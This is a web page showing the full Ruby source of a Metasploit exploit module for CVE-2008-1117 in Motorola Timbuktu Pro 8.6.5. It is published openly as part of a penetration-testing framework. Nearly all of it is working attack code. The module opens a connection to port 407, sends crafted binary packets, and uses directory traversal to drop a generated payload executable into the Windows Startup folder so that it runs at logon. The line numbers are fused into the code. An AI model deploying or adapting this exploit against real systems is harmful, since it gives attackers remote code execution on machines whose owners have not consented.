Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/motorola/timbuktu_fileupload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE1011def initialize(info = {})12super(update_info(info,13'Name' => 'Timbuktu Pro Directory Traversal/File Upload',14'Description' => %q{15This module exploits a directory traversal vulnerability in Motorola's16Timbuktu Pro for Windows 8.6.5.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2008-1117' ],23[ 'OSVDB', '43544' ],24],25'Privileged' => true,26'DefaultOptions' =>27{28'EXITFUNC' => 'process',29},30'Payload' =>31{32'Space' => 2048,33'DisableNops' => true,34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' =>38[39[ 'Automatic', { } ],40],41'DefaultTarget' => 0,42'DisclosureDate' => '2008-05-10'))4344register_options(45[46Opt::RPORT(407),47OptString.new('PATH', [ true, 'The path to place the executable.', '\\../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),48])49end5051def exploit52connect5354exe = rand_text_alpha(8) + ".exe"55data = generate_payload_exe5657pkt1 = "\x00\x01\x6B\x00\x00\xB0\x00\x23\x07\x22\x03\x07\xD6\x69\x6D\x3B"58pkt1 << "\x27\xA8\xD0\xF2\xD6\x69\x6D\x3B\x27\xA8\xD0\xF2\x00\x09\x01\x41"59pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"60pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"61pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"62pkt1 << "\x00\x00\x00\x00\x00\x00\x01\x97\x01\x41\x00\x00\x00\x00\x00\x00"63pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"64pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"65pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"66pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\xB7\x1D"67pkt1 << "\xBF\x42\x00\x00\x00\x00\x7F\x00\x00\x01\x00\x00\x00\x00\x00\x00"68pkt1 << "\x00\x00\x00\x00\x00\x00"6970pkt3 = "\xFB\x00\x00\x00\x00\x54\x45\x58\x54\x74\x74\x78\x74\xC2\x32\x94"71pkt3 << "\xCC\xC2\x32\x94\xD9\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00"72pkt3 << "\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"73pkt3 << "\x00\x00\x00\x00\x00\x00\x00"74pkt3 << [datastore['PATH'].length + exe.length].pack('C') + datastore['PATH'] + exe7576print_status("Connecting to #{rhost} on port #{rport}...")7778sock.put(pkt1)79select(nil,nil,nil,0.15)8081sock.put("\xFF")82select(nil,nil,nil,0.15)8384sock.put(pkt3)85select(nil,nil,nil,0.15)8687sock.put("\xF9\x00")88select(nil,nil,nil,0.15)8990print_status("Sending EXE payload '#{exe}' to #{rhost}:#{rport}...")91sock.put("\xF8" + [data.length].pack('n') + data)92select(nil,nil,nil,5)9394sock.put("\xF7")95select(nil,nil,nil,0.15)9697sock.put("\xFA")98select(nil,nil,nil,0.15)99100sock.put("\xFE")101select(nil,nil,nil,0.08)102103print_status("Done!")104disconnect105106end107end108109110